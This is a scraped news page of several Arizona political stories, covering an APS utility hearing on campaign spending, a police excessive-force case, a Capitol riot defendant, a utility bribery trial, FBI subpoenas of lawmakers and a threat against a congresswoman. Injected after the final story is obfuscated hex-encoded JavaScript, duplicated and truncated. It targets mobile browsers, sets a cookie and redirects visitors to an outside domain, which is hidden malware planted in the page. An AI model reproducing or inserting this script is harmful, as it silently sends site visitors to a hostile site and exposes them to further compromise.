fbpx

APS executive makes no promises on future political spending

Don Brandt, center, CEO of Arizona Public Service and its parent company, Pinnacle West Capital Corp., appears before the Arizona Corporation Commission in Phoenix, Wednesday, Sept. 4, 2019. (AP Photo/Tom Tingle, Pool)
Don Brandt, center, CEO of Arizona Public Service and its parent company, Pinnacle West Capital Corp., appears before the Arizona Corporation Commission in Phoenix, Wednesday, Sept. 4, 2019. (AP Photo/Tom Tingle, Pool)

The incoming chief executive of Pinnacle West Capital Corp. refused Wednesday to promise that the company won’t spend money in the future to elect utility regulators of its choosing.

Jeff Guldner told members of the Arizona Corporation Commission that he wasn’t saying there would be a repeat performance of what happened in 2014 and 2016 when the parent company of Arizona Public Service put a combined $15 million into campaigns to elect members of the panel. But Guldner said he cannot give a firm answer because he does not take over from Don Brandt, the current CEO, until Nov. 15.

That answer left commission Chairman Bob Burns unsatisfied, particularly as the commission is constitutionally precluded from barring APS or any other utility from getting involved in political campaigns.

Burns told Guldner that he wants that commitment after he takes over – or else.

“I would suggest that if we do not receive that commitment from APS, maybe we need to change the way that we go about determining return on equity,” the chairman said, suggesting that perhaps the entire board of Pinnacle West should come to the commission the next time APS requests a rate hike.

“I think we would have the opportunity to do a little negotiation and have a settlement right then and there.”

Burns also charged that the political spending is part of a larger plan by Pinnacle West to “capture” the commission to ensure that it got the decisions the company wanted on issues like requests for higher rates. And Burns even charged that Gov. Doug Ducey has had a hand in the process, including the appointment of Andy Tobin to the panel, an appointment Burns said was very “disruptive.”

Bob Burns explains why he was the lone vote against selecting Tom Forese as new chairman of the Arizona Corporation Commission (Capitol Media Services photo by Howard Fischer)
Bob Burns (Capitol Media Services photo by Howard Fischer)

“I have no proof,” Burns conceded later to Capitol Media Services. “But it smells.”

“This is the first time we’ve heard a lot of these concerns,” said gubernatorial press aide Patrick Ptak. He said the commission does its job and the governor does his, including filling vacancies on the commission as constitutionally required.

Tobin has since resigned to take a job in the Ducey administration, with the governor appointing Lea Marquez Peterson to replace him.

Burns wasn’t the only one with sharp comments about Pinnacle West – and specifically the way Brandt has run the company for the past dozen years.

Commissioner Sandra Kennedy told Brandt he “behaves like a kingpin,” operating Pinnacle West in a way to benefit only to the company to the detriment of its customers and the public at large.

“You have, in essence, created a machine to purchase any and every elected official and defeat anyone in your way,” she said.

The daylong hearing was called in the wake of the discovery that a Sun City West woman had died last year of heat-related conditions after APS disconnected her power on a 107-degree day after the failure to pay $51 of a $176 bill. And there were several pointed questions about what commissioners saw as the failure to provide Stephanie Pullman with adequate notice.

But much of the discussion centered around the policies of Pinnacle West in spending money on elections.

Sandra Kennedy
Sandra Kennedy

Burns cited reports that showed Pinnacle West and APS had looked at plans as far back as 2009 to set up and fund “grassroots” organizations with the specific goal of convincing Arizonans that the decisions being made by the Arizona Corporation Commission were contrary to the interests of the public and ratepayers.

Then in 2013, company lobbyist Jessica Pacheco hosted a fundraiser at the Phoenix Country Club for Justin Pierce in his race for secretary of state at a time his father, Gary, was a commissioner.

That took a more concrete form in 2014 when Pinnacle West quietly funneled money through other groups, including the Free Enterprise Club, the Arizona Cattle Feeders Association and Save Our Future Now to undermine the campaigns of some Republicans who were seeking commission seats because they were supportive of requiring utilities to get more of their power from solar and other renewable sources.

All totaled Pinnacle West spent $10.7 million on that race, with the outcome being the successful campaigns of the two Republicans it backed.

Attorney William Maledon, who represents the company, confirmed Wednesday that an FBI probe into expenditures made in the 2014 race remain under investigation. He declined to provide specifics citing confidentiality requirements.

In 2016 the company was above board in the spending of $4.2 million to ensure the commission remained an all-Republican affair.

There was no reported spending on candidates in 2018, with Pinnacle West instead putting more than $30 million into a statewide campaign to defeat a ballot measure that would have mandated the use of more renewable energy.

Commissioner Boyd Dunn pointed out that the panel, by itself, is powerless to limit corporate spending on campaigns, even when it is by a utility to elect preferred regulators. But he said that’s not an answer.

“Because it is legal it does not make it right,” he told Brandt.

Commissioner Justin Olson agreed.

“Our utilities should not spend money electing their regulators,” he said.

There also was some kickback from Pinnacle West when the questions got very specific about exactly what happened in the Pullman case.

State utility regulator Boyd Dunn July 10, 2019, at the Corporation Commission. Dunn wants changes to ethics rules to disqualify commissioners from voting on matters when they have received campaign help from someone involved in the case. (Capitol Media Services photo by Howard Fischer)
Boyd Dunn (Capitol Media Services photo by Howard Fischer)

The utility recently settled out of court with the family. And Maledon said family members have asked that the specifics of the case not become a part of the hearing on disconnection policies.

That explanation left Kennedy unsatisfied.

“We should know what happened,” she said, telling Maledon that the company settled with the family to keep from having to answer questions.

But some details did emerge.

Daniel Froestcher, an APS vice president, acknowledged that no one actually made personal contact with Pullman, instead leaving a notice on her front door. That annoyed Dunn.

“A lot of us in the summer are not using the front door,” he said, instead entering the house through the carport. And Dunn questioned why no one actually bothered to knock on her door.

Froestcher told commissioners he used to do the job of contacting customers.

“I had dogs released on me,” he said. “I have been verbally threatened and one time I had a weapon pulled on me.”

Hence the change in policy. But that drew a skeptical response from Dunn who questioned how likely it was that people living in what is largely a retirement community are a threat.

Froestcher said it’s a system-wide policy, with APS serving customers in 11 of the state’s 15 counties.

Brandt deflected multiple questions from Kennedy who complained about the rates and customer service.

“The reality is, for the vast majority of our customers, electricity is a bargain,” he said, citing national figures that show the average household spends just 1.6 percent of its take-home pay on power.

APS had no similar figures for its own customers. But Brandt defended the charges.

“Research shows a vast majority of our customers are not concerned with their electric bill.”

Brandt also defended company spending on things like sponsorships, like having the APS logo displayed at sports arenas.

“It projects a positive image,” he said, telling commissioners that the cost of these – he provided no figures – comes from corporate profits and not from direct customer payments.

Arizona governor: Inquiry into police force ‘whitewashed’

Attorney Marc J. Victor speaks to the media concerning his client, Johnny Wheatcroft, Monday, Feb. 11, 2019, in Chandler, Ariz. as Wheatcroft's wife, Anya Chapman, right, listens. Victor has filed a lawsuit on behalf of Wheatcroft claiming the Glendale, Ariz. police dept. used excessive force against Wheatcroft during his arrest in 2017. (AP Photo/Matt York)
Attorney Marc J. Victor speaks to the media concerning his client, Johnny Wheatcroft, Monday, Feb. 11, 2019, in Chandler, Ariz. as Wheatcroft’s wife, Anya Chapman, right, listens. Victor has filed a lawsuit on behalf of Wheatcroft claiming the Glendale, Ariz. police dept. used excessive force against Wheatcroft during his arrest in 2017. (AP Photo/Matt York)

Arizona’s governor says an excessive force investigation into police in a Phoenix suburb seems to have been “whitewashed” and should be reopened.

The comments Wednesday were an extremely rare rebuke of police and prosecutors for Republican Gov. Doug Ducey.

He was reacting to newly released body-camera video showing Glendale police officers repeatedly using a stun gun on a handcuffed man.

Johnny Wheatcroft has sued, saying one officer kicked him in the groin while another stunned him in the testicles during the July 2017 encounter.

Prosecutors declined to file charges. One officer was suspended for three days.

Ducey says prosecutors should “get to the bottom of what happened and hold people accountable.”

The Maricopa County Attorney’s Office announced Wednesday it is turning over materials related to the incident to the FBI in Phoenix to investigate.

“After having personally reviewed all available video evidence, I have determined further investigation is warranted,” said Maricopa County Attorney Bill Montgomery in a press release. “In order to ensure the public’s confidence in any future determination of whether the use of force was lawful, review by an uninvolved agency is appropriate.”

Arizona man charged in Capitol riot appears in court

FILE - In this Jan. 6, 2021, file photo supporters of President Donald Trump are confronted by U.S. Capitol Police officers outside the Senate Chamber inside the Capitol in Washington. An Arizona man seen in photos and video of the mob wearing a fur hat with horns was also charged Saturday in Wednesday's chaos. Jacob Anthony Chansley, who also goes by the name Jake Angeli, was taken into custody Saturday, Jan. 9. (AP Photo/Manuel Balce Ceneta, File)
FILE – In this Jan. 6, 2021, file photo supporters of President Donald Trump are confronted by U.S. Capitol Police officers outside the Senate Chamber inside the Capitol in Washington. An Arizona man seen in photos and video of the mob wearing a fur hat with horns was also charged Saturday in Wednesday’s chaos. Jacob Anthony Chansley, who also goes by the name Jake Angeli, was taken into custody Saturday, Jan. 9. (AP Photo/Manuel Balce Ceneta, File)

An Arizona man who took part in the insurrection at the U.S. Capitol while sporting face paint, no shirt and a furry hat with horns made his first court appearance Monday.

A judge scheduled a detention hearing Friday for Jake Chansley, who has been jailed on misdemeanor charges since surrendering to authorities over the weekend in Phoenix. He took part in the hearing by phone from a detention facility.

The FBI identified Chansley from images taken during the riot showing his distinctive sleeve tattoos. Chansley was inside the Capitol and on the Senate dais as he carried a U.S. flag on a pole topped with a spear.

He hasn’t yet entered a plea on charges of entering a restricted building without lawful authority, violent entry and disorderly conduct on Capitol grounds.

His court-appointed attorney, Gerald Williams, told the judge that Chansley has been unable to eat since he was arrested Saturday. He said his client has a restricted diet, though it was unclear to Williams whether Chansley’s food issues were related to health concerns or religious reasons.

The judge ordered Williams to work with the U.S. Marshals Service to address the issue.

Chansley’s mother, Martha Chansley, told reporters outside the courthouse that her son needs an organic diet, The Arizona Republic reported.

“He gets very sick if he doesn’t eat organic food,” she said. “He needs to eat.”

Williams didn’t immediately return a call seeking comment from The Associated Press.

Chansley is among at least 90 people who have been arrested on charges stemming from Wednesday’s siege on the Capitol.

An investigator said in court records that Chansley called the FBI in Washington the day after the riot, telling investigators that he came to the nation’s capital “at the request of the president that all ‘patriots’ come to D.C. on January 6, 2021.”

Chansley has long been a fixture at Trump rallies. He also attended a November rally of Trump supporters protesting election results outside of an election office in Phoenix, holding up a sign that read, “HOLD THE LINE PATRIOTS GOD WINS.”

Rioters violently clashed with officers as they forced their way in the Capitol to try to stop Congress from certifying President-elect Joe Biden’s victory.

A police officer who was hit in the head with a fire extinguisher later died, and a woman was fatally shot by an officer as she tried climbing through the broken window of a barricaded doorway inside the Capitol. Three others died in medical emergencies. ___ This story has been corrected to show how people died related to the riot.

Array of Arizona politicians, lobbyists connected to bribery case

Former Arizona Corporation Commissioner Gary Pierce, with bottle, and wife Sherry Pierce, both of whom stand accused in a bribery scheme, leave U.S. District Court in Phoenix after their arraignment on June 7, 2017.
Former Arizona Corporation Commissioner Gary Pierce, with bottle, and wife Sherry Pierce, both of whom stand accused in a bribery scheme, leave U.S. District Court in Phoenix after their arraignment on June 7, 2017.

The bribery trial of a former regulator, a utility owner and a lobbyist has tentacles that stretch to many others in Arizona’s political universe – some more than others.

Take for example Corporation Commissioner Bob Burns, who has been interviewed by federal investigators on the case. He’s been described by defense attorneys as a “rogue commissioner” determined to “burn down the house at the Arizona Corporation Commission.”

His wife, Gayle Burns, is portrayed in defense motions as a “mother figure” to Kelly Norton, the government’s star witness and ex-wife of Jim Norton, a lobbyist who has been indicted.

And then there is former Secretary of State and former Senate President Ken Bennett.

Bennett told the Arizona Capitol Times he was asked to be a character witness for Sherry Pierce, who was also indicted alongside her husband, former Corporation Commissioner Gary Pierce.

The Burnses and Bennett are among 82 prospective witnesses who may be called to testify at the trial scheduled to begin May 30. The Pierces, Jim Norton and Johnson Utilities owner George Johnson face charges of felony conspiracy, bribery, mail fraud and five counts of wire fraud.

They have pleaded not guilty.

The witness list, jury questions and written motions signal a narrative that includes a wealthy businessman who throws his weight around, an extra-marital affair and the subsequent bitter end of a partnership – both in love and allegedly illegal business dealings.

Barry Aarons, who has lobbied at the Legislature for 40 years, said the public is in for a bad impression of Arizona politics no matter the outcome of the trial.

“It reinforces that sense people have that the whole thing is corrupt,” said Aarons, who is not on the witness list.

“It’s kind of like when you pull a string on a woven garment – it just starts to fall apart.”

But the question is what ramifications the case holds for the political community, and to Aarons, the answer is that life will go on for most people.

He pointed to the recent ouster of former Rep. Don Shooter after a revealing investigation into allegations he had sexually harassed women at the Capitol for years.

Aarons said that has made him think twice about what or how he says something to ensure it’s not taken the wrong way.

But the case against the Pierces and Norton has not had the same effect. He has not changed how he does business, nor does he believe it has changed how others in the lobbying world conduct themselves.

“But when you get to the next level, there’s a cynicism out there that is validated by this,” Aarons said, adding that some might say “these guys were skimming money. But for $30,000? Really? That’s like seeing a quarter on the ground and looking both ways before you pick it up.”

According to the witness list, that “next level” includes a sitting congressman, former elected officials and current candidates for office, bureaucrats and others in the political inner circle.

The part some people on the witness list may play is more obvious than others.

Bennett said he was told he may not be called to “reinforce the idea that Sherry (Pierce) has been very active in political things” because there are others who know her far better.

One of those might be former Congressman Matt Salmon, now Arizona State University’s vice president for governmental affairs.

Salmon, a potential witness for the defense, declined to discuss the case with the Arizona Capitol Times, but pointed out that Sherry Pierce worked for him for four years while he served in Congress.

She’s also worked for Congressman Andy Biggs, who is also a potential witness for the defense.

Perhaps they would be able to offer a more holistic picture of Sherry Pierce and her personal knowledge of Arizona’s political scene as prosecutors allege she served little to no real purpose at a consulting firm established by the Nortons.

The indictment alleged that the Pierces received $31,500 unlawfully through the consulting firm directed by Jim Norton, but ultimately from Johnson, in exchange for Gary Pierce’s “favorable and unlawful actions on matters before the ACC.”

The purpose of other potential witnesses is not quite as clear.

Don Shooter, for example, is listed as a witness for the defense. But nothing so far raised in the case indicates what part the expelled lawmaker may play.

Bob Burns (Photo by Howard Fischer, Capitol Media Services)
Bob Burns (Photo by Howard Fischer, Capitol Media Services)

And Bob Burns’ role remains unclear, even though his wife’s is more certain. According to a summary and partial transcript of Gayle Burns’ interview with investigators, Kelly Norton revealed to her the early stages of the alleged bribery scheme.

Bob Burns has declined to share what he told the FBI about the case, but he has publicly acknowledged that he too was interviewed by investigators.

Burns is the only sitting commissioner on the witness list. Former commissioners Doug Little and Bob Stump are listed among the defense’s potential witnesses, and former commissioners Brenda Burns – no relation to Bob Burns – Sandra Kennedy and Kris Mayes are listed for the government; all served terms at the Corporation Commission that overlapped with Gary Pierce’s tenure.

What they might have to say has yet to be revealed.

But battles over limiting the scope of evidence presented to the jury has been more revealing.

Judge John Tuchi of U.S. District Court in Arizona is going to allow the jury to hear Gayle Burns’ testimony after Sherry Pierce’s attorney, Ashley Adams, tried to argue her statements would merely be hearsay.

And they’ll see which elected officials Johnson has given money to over the years.

His attorney, Woody Thompson, argued unsuccessfully that his political campaign contributions would be offered as evidence for nothing more than to make the “false inference” that the businessman has engaged in “inappropriate” behavior elsewhere in his career.

This is not the first time Johnson has been involved in what appears to be a shady arrangement.

Utility owner George Johnson, who is accused in a bribery scheme, leaves U.S. District Court in Phoenix on June 7, 2017.
Utility owner George Johnson, who is accused in a bribery scheme, leaves U.S. District Court in Phoenix on June 7, 2017.

For years, Johnson Utilities customers in Pinal County have alleged abuses of power and overbilling among a plethora of complaints.

Tuchi is not going to allow the customer complaints or the investigations into Johnson’s company by other agencies to be heard.

At least one prospective witness has received money from Johnson, according to OpenSecrets.org’s donor database.

In 2009, Johnson gave $1,000 to Rep. Rusty Bowers, R-Mesa, who is on the witness list for the defense.

Aarons said he doesn’t know Johnson beyond what everyone has heard come out of Pinal County from angry customers and salacious headlines.

But he’s known the Pierces and Nortons for years, and for what it’s worth, he doesn’t believe they would have knowingly broken the law.

That confidence in their characters extended to Kelly Norton, he said, even though she was the government’s key to learning of the alleged scheme.

According to motions filed by the defense, Kelly Norton told investigators about the scheme in March 2017 during an interview regarding a “related investigation.”

All along, prosecutors have speculated that the defense will seek to discredit her actions on the basis that she was punishing Jim Norton, her ex.

According to Gayle Burns, Kelly Norton confided in her about an affair Jim Norton had while they were still married.

And the defense has argued she sought to “get revenge on her husband.”

The defense’s case may very well hinge on calling Kelly Norton’s motivations into question, so much so that the Nortons’ separation made it into the jury questionnaire in an attempt to divine any ill will toward divorce and adultery.

“Do you believe that someone who has an affair is a bad person?” prospective jurors will be asked.

Tuchi did, however, exclude a more existential follow-up to that: “Do you believe that sometimes people just fall out of love?”

Guilty or not, the damage is done.

“That’s the cynicism of the people,” Aarons said.

For about $30,000, so much has been called into question.

AZ lawmakers subpoenaed regarding Jan. 6 riot

At least two Arizona lawmakers say they were subpoenaed by the FBI for communications regarding the January 6 riot at the U.S. Capitol.

Senate President Karen Fann, R-Prescott, and Sen. Kelly Townsend, R-Apache Junction, say they were subpoenaed recently by the FBI for communications regarding the insurrection at the nation’s Capitol last year.

Karen Fann

Fann said there is a list of lawmakers who received subpoenas, but did not disclose the other names.

Several lawmakers, including Sen. Wendy Rogers, R-Flagstaff, Sen. Sonny Borrelli, R-Lake Havasu City, and Rep. Mark Finchem, R-Oro Valley, have stated that the 2020 presidential election was stolen from President Donald Trump.

Borrelli said he did not receive a subpoena and Rogers did not immediately respond to a request for comment. “I’ve been asked by the FBI not to comment,” Finchem said.

Townsend and Fann will cooperate with the request.

“They are looking to see if I had any correspondence with a list of attorneys for Donald Trump. Staff is going through all of my emails and will submit it soon,” Townsend said in a text on June 29.

Fann called the request a FOIA (Freedom of Information Act) in the form of a subpoena, “asking for my … emails, texts, whatever we have between me and a list of people.” After the 2020 election, Fann led an audit of Maricopa County ballots to search for fraud, but never stated the election was stolen.

“I was not part of January 6, didn’t even know it was going on until after it happened. I saw it on the news like everybody else. This whole alternative slate of electors, I didn’t have anything to do with that either,” she said on June 28.

Kelly Townsend

Kim Quintero, Senate majority communications director, said that Senate attorneys don’t think Fann will be called to testify in Washington, D.C.

House Speaker Rusty Bowers, R-Mesa, testified in front of the January 6 committee on June 21 that Trump and his aides tried to convince him to investigate their claims of fraud in Arizona after the election, but they would not provide evidence. Without substantiation for their ideas, Bowers refused. “I said, ‘Look, you are asking me to do something that is counter to my oath,’” he told the committee.

Bowers received a John F Kennedy “Profiles in Courage” award on April 21 for refusing to decertify the election despite pressure from several other Republican officials. Congressman Andy Biggs also tried to convince Bowers to go along with the theories of fraud, but was unsuccessful. Protestors picketed and yelled outside of Bowers’ home in Mesa for days.

Rep. Jake Hoffman, R-Queen Creek, Arizona Republican Party Chair Kelli Ward, and former lawmaker Anthony Kern are among a group of 84 self-proclaimed “electors” across the country who signed onto a document that said the 2020 election was stolen from Trump. Hoffman did not immediately respond to a request for comment. Kern and Hoffman are both running for seats in the Arizona Senate this year.

Finchem and Kern were both present at the U.S. Capitol on January 6, 2021. Finchem and Ward were previously subpoenaed by the committee investigating January 6 in February.

 

 

 

Defense attacks credibility of star-witness Kelly Norton in bribery trial

Kelly Norton
Kelly Norton

Kelly Norton was back on the stand in the “Ghost Lobby” trial Tuesday, this time under cross examination by a defense team intent on distorting her credibility in the eyes of the jury.

And some of the more personal details revealed in opening statements and during direct examination by Assistant U.S. Attorney Fred Battista were largely ignored.

Instead, emails and other records she kept during the time of the alleged bribery scheme were the focus. They were cast as incomplete, lacking other documents that demonstrated Sherry Pierce did do the job she was paid to do.

Pierce was hired as a contractor for Norton’s firm, KNB Consulting, and she was directed to do work on behalf of water utility owner George Johnson.

The trial is in its 7th day, and Norton is on the stand as the government’s critical witness in an indictment against her husband, lobbyist Jim Norton; former Corporation Commissioner Gary Pierce; his wife, Sherry Pierce; and Johnson.

Norton has maintained she “had no choice” but to hire Pierce, though she considered her unqualified for the job. She said her then-husband, lobbyist Jim Norton, told her to do so, and he “bullied” her into participating in the alleged scheme.

Norton has fueled the government’s narrative that Pierce was given a “no-show job” in exchange for $3,500 per month payments that came from Johnson through KNB Consulting. Those payments were allegedly bribes to gain Gary Pierce’s favorable votes while he sat on the Arizona Corporation Commission, which regulates Johnson’s water and wastewater company, Johnson Utilities.

While the government has used records Norton provided to bolster her testimony regarding Sherry Pierce’s work – or alleged lack thereof – the defense used records she did not initially turn over to do the opposite.

Sherry Pierce’s attorney, Ashley Adams, introduced emails between Norton and Pierce that were found on Norton’s computer, which she turned over in its entirety at the defense’s request ahead of trial. Before that, Norton only provided records and emails to the government as requested in a grand jury subpoena.

“I have nothing to hide,” Norton said.

But Adams argued the additional emails or portions of email threads found on Norton’s computer should have turned up in her searches for those that complied with the subpoena.

For example, she was told to perform a search for documents including Pierce’s name or email address, which were included on the additional emails the defense found.

Those emails included discussion of work Pierce was performing at Norton’s direction – though Norton said the directives really came from Jim Norton.

“You were directing her to do things, and she did them,” Adams said while questioning her.

Norton conceded yes, that was true.

And later, Johnson’s attorney, Woody Thompson, prompted a similar response.

“Mrs. Pierce delivered on those tasks [she was assigned], correct?” he asked Norton.

Again, she replied, “Yes.”

Additionally, the defense returned to the timeline presented by the government.

Norton paid Pierce for work she did related to the Pinal County Board of Supervisors and the Corporation Commission elections, including collecting $5 Clean Elections contributions for current Commissioner Bob Burns and former Commissioners Bob Stump and Susan Bitter Smith.

Those payments ran through July 2012, but Norton said she was told the arrangement would end as of August 1 of that year.

As the defense pointed out, the three commissioners Norton’s firm was doing work on behalf of with Sherry Pierce’s help had qualified for the primary ballot by that time.

The defense also brought some attention back to a land deal involving Gary Pierce and Jim Norton, which failed but which the government says was going to be financed by George Johnson as part of the alleged bribery scheme.

Kelly Norton said she “threw a total fit” when she learned about the deal and “put her foot down” to end it. She said the Nortons didn’t have the proposed $300,000 for the deal.

But Ashley Adams said Gary Pierce was going to do a “1031 exchange with his property in Yuma,” a detail Norton said she was not aware of.

According to the Internal Revenue Code, a 1031 exchange allows someone to sell a property, reinvest the proceeds in a new property and defer all capital gain taxes.

In any case, the deal was not successful.

The defense’s questioning of Kelly Norton did not even take up the entire day on June 12.

And apart from Facebook messages she posted about karma, she was not asked much about the circumstances leading up to her decision to file for divorce.

The posts about karma were instead left to hold up the defense’s characterization of Norton as a woman seeking revenge for multiple affairs she said Jim Norton had while they were still married.

And she was asked about some unflattering commentary she shared with federal investigators about people involved in Arizona’s political scene, including her ex-husband who she described as a “textbook narcissist.”

She described former Corporation Commissioner Bob Stump as “lazy,” and current Commissioner Tom Forese as “arrogant.”

She said Jessica Pacheco “liked to be large and in charge,” and that she was not qualified for her job as the vice president for state and local affairs at Arizona Public Service, another utility regulated by the Corporation Commission.

And she shared her thoughts about Gov. Doug Ducey, a longtime friend of Jim Norton. She claimed Ducey wanted to eliminate the Commission “because he likes to be in control.”

Ducey’s spokesman Daniel Scarpinato took to Twitter to counter that claim.

“This isn’t part of our agenda,” he wrote, “and any speculation to the contrary is incorrect.”

FBI: McSally threatened, Tucson man arrested

Rep. Martha McSally, R-Tucson, said her bill, to criminalize the actions of people who are lookouts for border traffickers, grew out of meetins with police and residents on the border. (Photo by Sierra Oshrin, Cronkite News)
U.S. Rep. Martha McSally, R-Tucson. (Photo by Sierra Oshrin, Cronkite News)

A Tucson school district employee has been arrested by the FBI for allegedly leaving threatening voicemail messages for U.S. Rep. Martha McSally.

According to a criminal complaint filed in U.S. District Court, Steve Martan told authorities he was venting frustrations with the Arizona congresswoman’s votes in support of President Donald Trump.

The Arizona Daily Star reports Martan left three messages May 2 and May 10 on the congressional office voicemail including one that allegedly threatened to shoot McSally.

The newspaper says other voicemails told McSally to be careful when she returns to Tucson and her days “were numbered.”

Court records show the 58-year-old Martan has been released on his own recognizance, but must wear an electronic monitoring device. He’s prohibited from contacting McSally or possessing a firearm or weapon.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( 